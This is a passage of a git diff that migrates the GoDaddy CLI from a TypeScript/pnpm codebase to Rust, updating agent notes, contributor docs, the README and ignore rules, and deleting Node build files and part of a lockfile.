- -.nyc_output - -# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files) - -.grunt - -# Bower dependency directory (https://bower.io/) - -bower_components - -# node-waf configuration - -.lock-wscript - -# Compiled binary addons (https://nodejs.org/api/addons.html) - -build/Release - -# Dependency directories - -node_modules/ -jspm_packages/ - -# Snowpack dependency directory (https://snowpack.dev/) - -web_modules/ - -# TypeScript cache - -*.tsbuildinfo - -# Optional npm cache directory - -.npm - -# Optional eslint cache - -.eslintcache - -# Optional stylelint cache - -.stylelintcache - -# Microbundle cache - -.rpt2_cache/ -.rts2_cache_cjs/ -.rts2_cache_es/ -.rts2_cache_umd/ - -# Optional REPL history - -.node_repl_history - -# Output of 'npm pack' - -*.tgz - -# Yarn Integrity file - -.yarn-integrity - -# dotenv environment variable files +# Rust build artifacts +rust/target/ +# Environment files .env +.env.dev +.env.test +.env.ote .env.development.local .env.test.local .env.production.local .env.local -# parcel-bundler cache (https://parceljs.org/) - -.parcel-cache - -# Next.js build output - -.next -out - -# Nuxt.js build / generate output - -.nuxt -dist - -# Gatsby files - -# Comment in the public line in if your project uses Gatsby and not Next.js - -# https://nextjs.org/blog/next-9-1#public-directory-support - -# public - -# vuepress build output - -.vuepress/dist - -# vuepress v2.x temp and cache directory - -.temp - -# Docusaurus cache and generated files - -.docusaurus - -# Serverless directories - -.serverless/ - -# FuseBox cache - -.fusebox/ - -# DynamoDB Local files - -.dynamodb/ - -# TernJS port file - -.tern-port - -# Stores VSCode versions used for testing VSCode extensions - -.vscode-test - -# yarn v2 - -.yarn/cache -.yarn/unplugged -.yarn/build-state.yml -.yarn/install-state.gz -.pnp.* - -# IntelliJ based IDEs -.idea - -# Finder (MacOS) folder config -.DS_Store - -.npmrc - -**/.claude/settings.local.json -.vscode/settings.json - -.env.dev -.env.test -.env.ote -.env - # Local development config, extensions, and internal docs godaddy.dev.toml /extensions/ docs/ -# Allow test fixture extensions -!tests/fixtures/extensions/ - -# Generated GraphQL schema and types -schema.graphql -graphql-env.d.ts - -# Alternative package manager lockfiles -bun.lock - -.pnpm-store +# IDE and OS +.idea +.DS_Store +.vscode/settings.json +**/.claude/settings.local.json diff --git a/.nvmrc b/.nvmrc deleted file mode 100644 index 2bd5a0a..0000000 --- a/.nvmrc +++ /dev/null @@ -1 +0,0 @@ -22 diff --git a/AGENTS.md b/AGENTS.md index a2a2846..922b490 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -1,39 +1,27 @@ # Agent Notes -## Effect-First Patterns (Required) -- Command handlers must use `Command.action(...)` with `Effect` values. -- Do not use `actionAsync` anywhere. -- Prefer `Effect.gen` for multi-step flows and `Effect.sync` for pure sync handlers. -- Use `Effect.catchAll` at command boundaries to map runtime errors into structured CLI envelopes. +## Language and Runtime +- All source code is Rust (edition 2024). +- Binary: `godaddy` — built with `cargo build` from `rust/`. -## API Layer Pattern -- Public module APIs use this shape: - 1. Internal Promise implementation: `async function fooPromise(...)`. - 2. Effect API: `export function fooEffect(...) => Effect.tryPromise(...)`. - 3. Promise boundary wrapper (for compatibility): `export function foo(...) => Effect.runPromise(fooEffect(...))`. -- Keep `Effect.runPromise` usage at boundaries only (CLI entrypoint and compatibility wrappers). - -## Imports and Dependencies -- Use `import * as Effect from "effect/Effect"` directly. -- Do not reintroduce `toEffect`/`effect-interop`; wrappers are explicit per function. -- Prefer static imports of `*Effect` APIs over dynamic imports in commands. - -## Streaming / Long-Running Commands -- For streamed command output, emit: - 1. start event, - 2. progress/step events, - 3. final result event, - 4. mapped stream error event on failure. -- Keep stream callbacks best-effort and non-fatal. +## Command Patterns (Required) +- Commands are `RuntimeCommandSpec` (or `RuntimeGroupSpec` for groups). +- Register commands via `Module::new(...)` and wire them in `main.rs`. +- Retrieve arguments via `ctx.args.get("key")`. +- Return `Ok(CommandResult::new(json!({...})))` for success. +- Return `Err(cli_engine::CliCoreError::message("..."))` for user-facing errors. +- Streaming commands use `RuntimeCommandSpec::new_streaming` and emit events via `StreamSender`. ## Verification Checklist -- `pnpm exec tsc --noEmit` -- `pnpm run build` -- `pnpm test tests/integration/cli-smoke.test.ts tests/unit/application-deploy-security.test.ts tests/unit/cli/deploy-stream.test.ts` -- `rg "export async function" src` should be `0`. -- `rg "toEffect|effect-interop" src` should be `0`. +- `cargo check` — must pass +- `cargo clippy -- -D warnings` — must pass with zero warnings +- `cargo test` — must pass +- `cargo fmt --check` — must be clean -## Migration Pitfalls Seen -- Name collisions: if a file already has a hand-written `*Effect` (example: deploy), do not route compatibility wrappers to the wrong effect signature. -- Codemods can break import blocks; run typecheck immediately after broad transforms. -- Keep command-level error emission consistent (`mapRuntimeError` + `nextActionsFor(...)`). +## Regenerating the API Catalog +```bash +cd rust +cargo run -p generate-api-catalog +``` +This clones upstream OpenAPI specs and writes `rust/schemas/api/*.json`. +Set `GITHUB_TOKEN` for full repo discovery; falls back to a hardcoded bootstrap list otherwise. diff --git a/CLAUDE.md b/CLAUDE.md index ad41731..0f2403d 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -2,91 +2,82 @@ This file provides guidance to Claude Code (claude.ai/code) when working with code in this repository. -## Local Development Ports - This is a command-line application that does not run on a network port. # GoDaddy CLI Development Guide +All source code lives under `rust/`. + ## Commands -- **Install**: `pnpm install` -- **Build**: `pnpm run build` -- **Build (dev mode)**: `pnpm run build:dev` -- **Format**: `pnpm run format` -- **Lint**: `pnpm run lint` -- **Type Check**: `pnpm run check` -- **Run CLI**: `node ./dist/cli.js` or `./dist/cli.js` (after building) -- **Development Mode**: `pnpm tsx --watch src/index.ts` -- **Quick CLI Command**: `pnpm tsx src/index.ts application ` +- **Build**: `cargo build` (from `rust/`) +- **Run**: `cargo run -- ` (from `rust/`) +- **Test**: `cargo test` (from `rust/`) +- **Lint**: `cargo clippy -- -D warnings` (from `rust/`) +- **Format**: `cargo fmt` (from `rust/`) +- **Check**: `cargo check` (from `rust/`) +- **Regenerate API catalog**: `cargo run -p generate-api-catalog` (from `rust/`) ## Architecture -GoDaddy CLI is a terminal-based application built using: -- **React and Ink**: Terminal UI rendering with React components -- **Commander.js**: Command definition and routing -- **@clack/prompts**: Interactive user prompts and input handling -- **graphql-request/TanStack Query**: Data fetching with GraphQL -- **arktype**: Runtime type validation - -### Core Architecture Components: - -1. **Entry Point** (`src/index.ts`): Defines the CLI command structure using Commander.js and renders commands with Ink - -2. **Command Structure**: - - Root commands (application, webhook, auth, env) - - Subcommands (init, info, release, update, etc.) - - Commands are rendered as React components - -3. **Component Organization**: - - **Commands** (`src/cmds/`): React components that implement specific CLI commands - - **Services** (`src/services/`): Business logic, API interactions, and data handling - - **Components** (`src/components/`): Reusable UI components - - **Utils**: Helper functions and utilities - -4. **Context Providers**: - - Environment context for handling different deployment environments - - Help context for managing command help displays - - React Query for data fetching and state management - -5. **Build System**: - - ESBuild for bundling with production/development modes - - Custom plugins for handling compatibility issues +GoDaddy CLI is a Rust binary built using: +- **cli-engine**: Command registration, auth (PKCE OAuth), credential storage, streaming +- **clap**: Argument parsing (via cli-engine's `CommandSpec`/`GroupSpec`) +- **reqwest**: HTTP client with rustls-tls +- **serde_json**: JSON serialization and API payloads +- **tokio**: Async runtime + +### Source layout + +``` +rust/src/ + main.rs — binary entry point, module wiring + application/ + client.rs — GraphQL API client + commands/mod.rs — all application subcommands + api_explorer/mod.rs — api list/describe/search/call commands + actions_catalog/mod.rs — embedded action schema catalog + extension/mod.rs — esbuild bundler + security scanner (SEC101–SEC115) + webhook/mod.rs — webhook commands + config/mod.rs — godaddy.toml read/write + auth.rs — auth module registration + env/mod.rs — environment helpers +rust/schemas/ + actions/ — embedded JSON schemas for action catalog + api/ — embedded JSON catalog of API domains (regenerated by the tool below) +rust/tools/ + generate-api-catalog/ — Cargo workspace tool; run with `cargo run -p generate-api-catalog` +``` ## Code Style -- **TypeScript**: Strict mode enabled with noEmit. Use explicit types. -- **Formatting**: - - Tab indentation (via Biome) - - Double quotes for strings - - ES modules with explicit imports -- **Naming**: - - React components: PascalCase - - Functions/variables: camelCase - - Files: kebab-case.tsx -- **Components**: Use functional React components with hooks. -- **Error Handling**: Use typed validation with arktype for user inputs. -- **Prompts**: Use @clack/prompts for interactive user input. - -## Key Features and Concepts +- **Rust edition 2024**. Follow existing patterns in the codebase. +- Lints are enforced via `Cargo.toml` (`[lints.rust]` and `[lints.clippy]`): + - `unsafe_code = "deny"`, `unwrap_used = "deny"`, `exit = "deny"` + - Use `.expect("reason")` instead of `.unwrap()` + - No `println!`/`eprintln!` — use `tracing` or `cli-engine` event streams +- Keep functions focused; avoid premature abstractions. + +## Key Concepts ### Authentication -- OAuth-based authentication with GoDaddy APIs -- Secure token storage using keytar -- Token retrieval and refresh handled by auth service +- Handled entirely by `cli-engine` (PKCE OAuth flow, secure credential storage). +- The `ctx.credential` field on `CommandContext` provides the current token. ### Configuration -- Application settings stored in TOML format (godaddy.toml) -- Environment-specific configurations (ote, prod) - -### Application Management -- Create, view, update, and release GoDaddy applications -- Application enablement and disablement on entities -- Component addition (actions, subscriptions, extensions) - -### Webhooks -- Event subscription and management -- Event type discovery - -## Development Guidelines - -- When creating a new command always render the ink component. You should never have a new command without a corresponding component. \ No newline at end of file +- Application settings in TOML format (`godaddy.toml`, `godaddy..toml`). +- Read/write via `crate::config::{read_config, write_config, config_path}`. + +### Commands +- Commands are `RuntimeCommandSpec` (or `RuntimeGroupSpec` for groups). +- Streaming commands use `RuntimeCommandSpec::new_streaming` and emit JSON events via `StreamSender`. +- Use `clap::Arg` for arguments; retrieve via `ctx.args.get("key")`. + +### Extension security scanner +- Post-bundle regex scanner in `extension/mod.rs`. +- Rules SEC101–SEC115; uses `fancy-regex` for lookahead support. +- `scan_bundle(content, path) -> Vec`, `is_blocked(findings) -> bool`. + +### esbuild dependency +- The `bundle_extension` function spawns `esbuild` as a subprocess. +- It searches `node_modules/.bin/esbuild` walking up from CWD, then falls back to PATH. +- Users need esbuild available (via `npm`/`pnpm` install or globally). \ No newline at end of file diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 24ed7b6..4415185 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -5,16 +5,12 @@ Contributing doesn't just mean submitting pull requests. To get involved you can report or triage bugs and participate in discussions on the evolution of each project. -No matter how you want to get involved, we ask that you first learn what's -expected of anyone who participates in the project by reading the Contribution -Guidelines. - ## Answering Questions One of the most important and immediate ways you can support this project is to -answer questions on [Github][issues]. Whether you're helping a newcomer +answer questions on [GitHub][issues]. Whether you're helping a newcomer understand a feature or troubleshooting an edge case with a seasoned developer, -your knowledge and experience with JS can go a long way to help others. +your knowledge and experience can go a long way to help others. ## Reporting Bugs @@ -24,15 +20,14 @@ security vulnerabilities.** Before submitting a ticket, please be sure to have a simple replication of the behavior. If the issue is isolated to one of the dependencies of this project, -please create a Github issue in that project. All dependencies are open source -software and can be easily found through [npm]. +please create a GitHub issue in that project. Submit a ticket for your issue, assuming one does not already exist: - Create it on our [Issue Tracker][issues] - Clearly describe the issue by following the template layout - Make sure to include steps to reproduce the bug. - - A reproducible (unit) test could be helpful in solving the bug. + - A reproducible test could be helpful in solving the bug. - Describe the environment that (re)produced the problem. > For a bug to be actionable, it needs to be reproducible. If you or @@ -54,13 +49,40 @@ From a practical perspective, contributions are as simple as: the fix. - If possible, and if applicable, please also add/update unit tests for your changes. -- Push the changes to your fork and submit a pull request to the 'master' branch - of the projects' repository. +- Push the changes to your fork and submit a pull request to the `main` branch + of the project's repository. If you are interested in making a large change and feel unsure about its overall effect, please make sure to first discuss the change and reach a consensus with core contributors. Then ask about the best way to go about making the change. +## Development Setup + +All source code lives under `rust/`. [Install Rust](https://rustup.rs/) if you +haven't already. + +```bash +cd rust + +# Build +cargo build + +# Run tests +cargo test + +# Lint (must pass with no warnings) +cargo clippy -- -D warnings + +# Format +cargo fmt + +# Type-check only (fast) +cargo check + +# Regenerate the embedded API catalog +cargo run -p generate-api-catalog +``` + ## Code Review Any open source project relies heavily on code review to improve software @@ -92,137 +114,10 @@ approved, other developers with commit access may commit it for the author. When doing so, it is important to retain correct attribution of the contribution. Generally speaking, Git handles attribution automatically. -## Markdown Documentation - -Each package should have a `README.md`, with guides and other documents under a -`docs/` directory. - -```md -# Name of package - -Short one or two sentence summary. - - - -#### Example - -## Installation - -Show `pnpm install` steps, and/or mention use with the create command. - -## Configuration - -### Options - -## Guides - - - -- [List of other] -- [markdown files] -- [in docs/ directory] - -## Commands - -### command - -Description of the command - -#### Example - -## Lifecycles - -### - -Description of the lifecycle - -#### Example - -## How it works - -Description of what the plugin or package does in 1-3 paragraphs. If more is -required, move to separate `docs/` file(s). - -## License - -Include a LICENSE.md file and link to it. -``` - -Some additional rules to note: - -- Examples should always use `####` heading (H4) -- Example headings should always begin with "Example" - - Good: - - "Example config", "Example with Redux", "Example using Next.js" - - Bad: - - "Ex. 1: A thing", "Using Redux", "Next.js component example" -- Never use `inline code` in headings -- Never use `inline code` for links. -- Add 'command' to names of commands in Commands section - - This will help heading links from other documents, distinguishing from - lifecycles which many times share the same name. -- jsdocs2md output should go to `docs/API.md`. -- Prefer reference links to inline. - - This making for easier reading when not using a markdown viewer - -## Adding new packages to the monorepo - -Remember to run the `align-packages` script for new packages. This has been an -issue in the past with `docs-graphs` missing the `publishConfig` field which -messed with `lerna publish`. Without this, we had to step into each package and -manually re-publish the ones that didn't make it out. - -## File and Directory Naming - -File and directory names should follow kebab-casing. Incorrect naming will -generate a linting error. - -```md -new-file.js -example-directory-name/ -``` - -## Submit a changeset - -This repository utilizes [changesets] to handle versioning and publishing. -For detailed information about our changeset workflow, configuration, and limitations, -please refer to our [changeset documentation](./docs/changeset.md). - -### Quick Start - -To create a changeset for your pull request: - -```bash -pnpm run changeset -``` - -Follow the prompts to select packages and version bumps, then commit the generated -changeset file with your PR. - -## Publishing - -When a pull-request is merged into the `main` branch, the changeset will be used -to determine the next version of the package. - -A "Version Packages" pull-request will be automatically created to bump the -versions. -If multiple PRs with changesets are merged, this PR will automatically update to -include all changesets. - -When all changes are ready to be published, repo admins can force squash merge -the "Version Packages" PR to main (CI worflows do not run on this automated branch). -This will trigger the CI to publish the packages to npm. ## Additional Resources - [General GitHub Documentation](https://help.github.com/) - [GitHub Pull Request documentation](https://help.github.com/send-pull-requests/) -- [JSDoc] -[issues]: https://github.com/godaddy/javascript/issues -[JSDoc]: https://jsdoc.app/ -[npm]: http://npmjs.org/ -[style]: https://github.com/godaddy/javascript/#godaddy-style -[changesets]: https://github.com/changesets/changesets \ No newline at end of file +[issues]: https://github.com/godaddy/cli/issues diff --git a/README.md b/README.md index 3016404..9b49cc5 100644 --- a/README.md +++ b/README.md @@ -4,8 +4,9 @@ Agent-first CLI for interacting with GoDaddy Developer Platform. ## Installation +Download the latest release binary from the [releases page](https://github.com/godaddy/cli/releases) and place it on your `PATH`. + ```bash -npm install -g @godaddy/cli godaddy --help ``` @@ -96,7 +97,8 @@ Returns environment/auth snapshots and the full command tree. ## Development ```bash -pnpm install -pnpm run build -pnpm test +cd rust +cargo build +cargo test +cargo clippy -- -D warnings ``` diff --git a/biome.json b/biome.json deleted file mode 100644 index 6434dd8..0000000 --- a/biome.json +++ /dev/null @@ -1,41 +0,0 @@ -{ - "$schema": "https://biomejs.dev/schemas/1.9.4/schema.json", - "vcs": { - "enabled": false, - "clientKind": "git", - "useIgnoreFile": false - }, - "files": { - "maxSize": 4194304, - "ignoreUnknown": false, - "ignore": [ - "node_modules", - "dist", - "build", - "tests/fixtures/**/*.mjs", - "tests/fixtures/extensions/invalid-syntax/**" - ] - }, - "formatter": { - "enabled": true, - "indentStyle": "space", - "indentWidth": 2 - }, - "organizeImports": { - "enabled": true - }, - "linter": { - "enabled": true, - "rules": { - "recommended": true, - "style": { - "noNonNullAssertion": "off" - } - } - }, - "javascript": { - "formatter": { - "quoteStyle": "double" - } - } -} diff --git a/build.mjs b/build.mjs deleted file mode 100644 index 13b34f8..0000000 --- a/build.mjs +++ /dev/null @@ -1,95 +0,0 @@ -import * as fs from "node:fs"; -import * as path from "node:path"; -import * as esbuild from "esbuild"; - -const OUT_DIR = "dist"; -/** - * ink attempts to import react-devtools-core in an ESM-unfriendly way: - * - * https://github.com/vadimdemedes/ink/blob/eab6ef07d4030606530d58d3d7be8079b4fb93bb/src/reconciler.ts#L22-L45 - * - * to make this work, we have to strip the import out of the build. - */ -const ignoreReactDevToolsPlugin = { - name: "ignore-react-devtools", - setup(build) { - // When an import for 'react-devtools-core' is encountered, - // return an empty module. - build.onResolve({ filter: /^react-devtools-core$/ }, (args) => { - return { path: args.path, namespace: "ignore-devtools" }; - }); - build.onLoad({ filter: /.*/, namespace: "ignore-devtools" }, () => { - return { contents: "", loader: "js" }; - }); - }, -}; - -// ---------------------------------------------------------------------------- -// Build mode detection (production vs development) -// -// • production (default): minified, external telemetry shebang handling. -// • development (--dev|NODE_ENV=development|CODEX_DEV=1): -// – no minification -// – inline source maps for better stacktraces -// – shebang tweaked to enable Node's source‑map support at runtime -// ---------------------------------------------------------------------------- - -const isDevBuild = - process.argv.includes("--dev") || process.env.NODE_ENV === "development"; - -const plugins = [ignoreReactDevToolsPlugin]; - -// Build Hygiene, ensure we drop previous dist dir and any leftover files -const outPath = path.resolve(OUT_DIR); -if (fs.existsSync(outPath)) { - fs.rmSync(outPath, { recursive: true, force: true }); -} - -// Add a shebang that enables source‑map support for dev builds so that stack -// traces point to the original TypeScript lines without requiring callers to -// remember to set NODE_OPTIONS manually. -if (isDevBuild) { - const devShebangLine = - "#!/usr/bin/env -S NODE_OPTIONS=--enable-source-maps node\n"; - const devShebangPlugin = { - name: "dev-shebang", - setup(build) { - build.onEnd(async () => { - const outFile = path.resolve(`${OUT_DIR}/cli-dev.js`); - - let code = await fs.promises.readFile(outFile, "utf8"); - if (code.startsWith("#!")) { - code = code.replace(/^#!.*\n/, devShebangLine); - await fs.promises.writeFile(outFile, code, "utf8"); - } - }); - }, - }; - plugins.push(devShebangPlugin); -} - -esbuild - .build({ - entryPoints: ["src/index.ts"], - bundle: true, - format: "esm", - platform: "node", - tsconfig: "tsconfig.json", - outfile: `${OUT_DIR}/${isDevBuild ? "cli-dev.js" : "cli.js"}`, - minify: !isDevBuild, - sourcemap: isDevBuild ? "inline" : true, - plugins, - inject: ["./require-shim.js"], - external: [ - // Exclude native modules from bundling - "*.node", - // TypeScript is a peer dependency and should not be bundled - "typescript", - // pino-pretty uses worker threads and must be external - "pino-pretty", - ], - }) - .catch((e) => { - console.error(e); - process.exit(1); - }); diff --git a/mise.toml b/mise.toml index 6a0493c..3156a04 100644 --- a/mise.toml +++ b/mise.toml @@ -1,2 +1,2 @@ [tools] -node = "22" +rust = "stable" diff --git a/package.json b/package.json deleted file mode 100644 index 2acbfda..0000000 --- a/package.json +++ /dev/null @@ -1,86 +0,0 @@ -{ - "name": "@godaddy/cli", - "version": "0.5.2", - "description": "GoDaddy CLI for managing applications and webhooks", - "keywords": [ - "godaddy", - "cli", - "developer-tools" - ], - "main": "./dist/cli.js", - "type": "module", - "bin": { - "godaddy": "./dist/cli.js" - }, - "files": [ - "dist" - ], - "repository": { - "type": "git", - "url": "git+https://github.com/godaddy/cli.git" - }, - "scripts": { - "format": "pnpm biome format --write .", - "lint": "pnpm biome lint --write", - "check": "pnpm biome check --fix --unsafe", - "generate:api-catalog": "pnpm tsx scripts/generate-api-catalog.ts", - "build": "node build.mjs", - "build:dev": "NODE_ENV=development node build.mjs --dev && NODE_OPTIONS=--enable-source-maps node dist/cli-dev.js", - "prepare": "pnpm run build", - "test": "vitest", - "test:ui": "vitest --ui", - "test:coverage": "vitest --coverage", - "changeset": "changeset", - "version": "changeset version", - "release": "pnpm build && pnpm publish --filter @godaddy/cli" - }, - "devDependencies": { - "@apidevtools/json-schema-ref-parser": "^15.3.5", - "@biomejs/biome": "1.9.4", - "@changesets/cli": "^2.29.8", - "@types/node": "^22.14.1", - "@types/picomatch": "^4.0.2", - "@types/prompts": "^2.4.9", - "@types/react": "18.3.1", - "@types/semver": "^7.7.0", - "@vitest/coverage-v8": "^3.2.2", - "@vitest/ui": "^3.2.2", - "esbuild": "^0.25.12", - "ms": "^2.1.3", - "msw": "^2.4.0", - "tsx": "^4.19.3", - "vitest": "^3.2.2", - "yaml": "^2.8.2" - }, - "peerDependencies": { - "typescript": "^5.0.0" - }, - "dependencies": { - "@clack/prompts": "^0.10.0", - "@effect/cli": "^0.73.2", - "@effect/platform": "^0.94.5", - "@effect/platform-node": "^0.104.1", - "@iarna/toml": "^2.2.5", - "@inkjs/ui": "^2.0.0", - "@tanstack/react-query": "^5.68.0", - "arktype": "^2.1.9", - "copy-to-clipboard": "^3.3.3", - "effect": "^3.19.19", - "gql.tada": "^1.8.10", - "graphql": "^16.10.0", - "graphql-request": "^7.1.2", - "ink": "^5.2.0", - "ink-select-input": "^6.0.0", - "open": "^10.1.1", - "picomatch": "^4.0.3", - "pino": "^9.6.0", - "pino-pretty": "^13.0.0", - "react": "18.3.1", - "semver": "^7.7.1", - "uuid": "^11.1.0" - }, - "publishConfig": { - "access": "public" - }, - "packageManager": "pnpm@10.14.0" -} diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml deleted file mode 100644 index bc6786f..0000000 --- a/pnpm-lock.yaml +++ /dev/null @@ -1,4424 +0,0 @@ -lockfileVersion: '9.0' - -settings: - autoInstallPeers: true - excludeLinksFromLockfile: false - -importers: - - .: - dependencies: - '@clack/prompts': - specifier: ^0.10.0 - version: 0.10.1 - '@effect/cli': - specifier: ^0.73.2 - version: 0.73.2(@effect/platform@0.94.5(effect@3.19.19))(@effect/printer-ansi@0.47.0(@effect/typeclass@0.38.0(effect@3.19.19))(effect@3.19.19))(@effect/printer@0.47.0(@effect/typeclass@0.38.0(effect@3.19.19))(effect@3.19.19))(effect@3.19.19) - '@effect/platform': - specifier: ^0.94.5 - version: 0.94.5(effect@3.19.19) - '@effect/platform-node': - specifier: ^0.104.1 - version: 0.104.1(@effect/cluster@0.56.4(@effect/platform@0.94.5(effect@3.19.19))(@effect/rpc@0.73.2(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(@effect/sql@0.49.0(@effect/experimental@0.58.0(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(@effect/workflow@0.16.0(@effect/experimental@0.58.0(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(@effect/platform@0.94.5(effect@3.19.19))(@effect/rpc@0.73.2(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(effect@3.19.19))(effect@3.19.19))(@effect/platform@0.94.5(effect@3.19.19))(@effect/rpc@0.73.2(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(@effect/sql@0.49.0(@effect/experimental@0.58.0(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(effect@3.19.19) - '@iarna/toml': - specifier: ^2.2.5 - version: 2.2.5 - '@inkjs/ui': - specifier: ^2.0.0 - version: 2.0.0(ink@5.2.1(@types/react@18.3.1)(react@18.3.1)) - '@tanstack/react-query': - specifier: ^5.68.0 - version: 5.90.16(react@18.3.1) - arktype: - specifier: ^2.1.9 - version: 2.1.29 - copy-to-clipboard: - specifier: ^3.3.3 - version: 3.3.3 - effect: - specifier: ^3.19.19 - version: 3.19.19 - gql.tada: - specifier: ^1.8.10 - version: 1.9.0(graphql@16.12.0)(typescript@5.9.3) - graphql: - specifier: ^16.10.0 - version: 16.12.0 - graphql-request: - specifier: ^7.1.2 - version: 7.4.0(graphql@16.12.0) - ink: - specifier: ^5.2.0 - version: 5.2.1(@types/react@18.3.1)(react@18.3.1) - ink-select-input: - specifier: ^6.0.0 - version: 6.2.0(ink@5.2.1(@types/react@18.3.1)(react@18.3.1))(react@18.3.1) - open: - specifier: ^10.1.1 - version: 10.2.0 - picomatch: - specifier: ^4.0.3 - version: 4.0.3 - pino: - specifier: ^9.6.0 - version: 9.14.0 - pino-pretty: - specifier: ^13.0.0 - version: 13.1.3 - react: - specifier: 18.3.1 - version: 18.3.1 - semver: - specifier: ^7.7.1 - version: 7.7.3 - typescript: - specifier: ^5.0.0 - version: 5.9.3 - uuid: - specifier: ^11.1.0 - version: 11.1.0 - devDependencies: - '@apidevtools/json-schema-ref-parser': - specifier: ^15.3.5 - version: 15.3.5(@types/json-schema@7.0.15) - '@biomejs/biome': - specifier: 1.9.4 - version: 1.9.4 - '@changesets/cli': - specifier: ^2.29.8 - version: 2.29.8(@types/node@22.19.3) - '@types/node': - specifier: ^22.14.1 - version: 22.19.3 - '@types/picomatch': - specifier: ^4.0.2 - version: 4.0.2 - '@types/prompts': - specifier: ^2.4.9 - version: 2.4.9 - '@types/react': - specifier: 18.3.1 - version: 18.3.1 - '@types/semver': - specifier: ^7.7.0 - version: 7.7.1 - '@vitest/coverage-v8': - specifier: ^3.2.2 - version: 3.2.4(vitest@3.2.4) - '@vitest/ui': - specifier: ^3.2.2 - version: 3.2.4(vitest@3.2.4) - esbuild: - specifier: ^0.25.12 - version: 0.25.12 - ms: - specifier: ^2.1.3 - version: 2.1.3 - msw: - specifier: ^2.4.0 - version: 2.12.7(@types/node@22.19.3)(typescript@5.9.3) - tsx: - specifier: ^4.19.3 - version: 4.21.0 - vitest: - specifier: ^3.2.2 - version: 3.2.4(@types/node@22.19.3)(@vitest/ui@3.2.4)(msw@2.12.7(@types/node@22.19.3)(typescript@5.9.3))(tsx@4.21.0)(yaml@2.8.2) - yaml: - specifier: ^2.8.2 - version: 2.8.2 - -packages: - - '@0no-co/graphql.web@1.2.0': - resolution: {integrity: sha512-/1iHy9TTr63gE1YcR5idjx8UREz1s0kFhydf3bBLCXyqjhkIc6igAzTOx3zPifCwFR87tsh/4Pa9cNts6d2otw==} - peerDependencies: - graphql: ^14.0.0 || ^15.0.0 || ^16.0.0 - peerDependenciesMeta: - graphql: - optional: true - - '@0no-co/graphqlsp@1.15.2': - resolution: {integrity: sha512-Ys031WnS3sTQQBtRTkQsYnw372OlW72ais4sp0oh2UMPRNyxxnq85zRfU4PIdoy9kWriysPT5BYAkgIxhbonFA==} - peerDependencies: - graphql: ^15.5.0 || ^16.0.0 || ^17.0.0 - typescript: ^5.0.0 - - '@alcalzone/ansi-tokenize@0.1.3': - resolution: {integrity: sha512-3yWxPTq3UQ/FY9p1ErPxIyfT64elWaMvM9lIHnaqpyft63tkxodF5aUElYHrdisWve5cETkh1+KBw1yJuW0aRw==} - engines: {node: '>=14.13.1'} - - '@ampproject/remapping@2.3.0': - resolution: {integrity: sha512-30iZtAPgz+LTIYoeivqYo853f02jBYSd5uGnGpkFV0M3xOt9aN73erkgYAmZU43x4VfqcnLxW9Kpg3R5LC4YYw==} - engines: {node: '>=6.0.0'} - - '@apidevtools/json-schema-ref-parser@15.3.5': - resolution: {integrity: sha512-orNOYXw3hYXxxisXMldjzjBzqqTLBPbwOtHg7ovBPvfBHDue1qM9YJENZ3W2BQuS+7z4ThogMbEzEsov57Itkg==} - engines: {node: '>=20'} - peerDependencies: - '@types/json-schema': ^7.0.15 - - '@ark/schema@0.56.0': - resolution: {integrity: sha512-ECg3hox/6Z/nLajxXqNhgPtNdHWC9zNsDyskwO28WinoFEnWow4IsERNz9AnXRhTZJnYIlAJ4uGn3nlLk65vZA==} - - '@ark/util@0.56.0': - resolution: {integrity: sha512-BghfRC8b9pNs3vBoDJhcta0/c1J1rsoS1+HgVUreMFPdhz/CRAKReAu57YEllNaSy98rWAdY1gE+gFup7OXpgA==} - - '@babel/helper-string-parser@7.27.1': - resolution: {integrity: sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==} - engines: {node: '>=6.9.0'} - - '@babel/helper-validator-identifier@7.28.5': - resolution: {integrity: sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q==} - engines: {node: '>=6.9.0'} - - '@babel/parser@7.28.5': - resolution: {integrity: sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ==} - engines: {node: '>=6.0.0'} - hasBin: true - - '@babel/runtime@7.28.4': - resolution: {integrity: sha512-Q/N6JNWvIvPnLDvjlE1OUBLPQHH6l3CltCEsHIujp45zQUSSh8K+gHnaEX45yAT1nyngnINhvWtzN+Nb9D8RAQ==} - engines: {node: '>=6.9.0'} - - '@babel/types@7.28.5': - resolution: {integrity: sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA==} - engines: {node: '>=6.9.0'} - - '@bcoe/v8-coverage@1.0.2': - resolution: {integrity: sha512-6zABk/ECA/QYSCQ1NGiVwwbQerUCZ+TQbp64Q3AgmfNvurHH0j8TtXa1qbShXA6qqkpAj4V5W8pP6mLe1mcMqA==} - engines: {node: '>=18'} - - '@biomejs/biome@1.9.4': - resolution: {integrity: sha512-1rkd7G70+o9KkTn5KLmDYXihGoTaIGO9PIIN2ZB7UJxFrWw04CZHPYiMRjYsaDvVV7hP1dYNRLxSANLaBFGpog==} - engines: {node: '>=14.21.3'} - hasBin: true - - '@biomejs/cli-darwin-arm64@1.9.4': - resolution: {integrity: 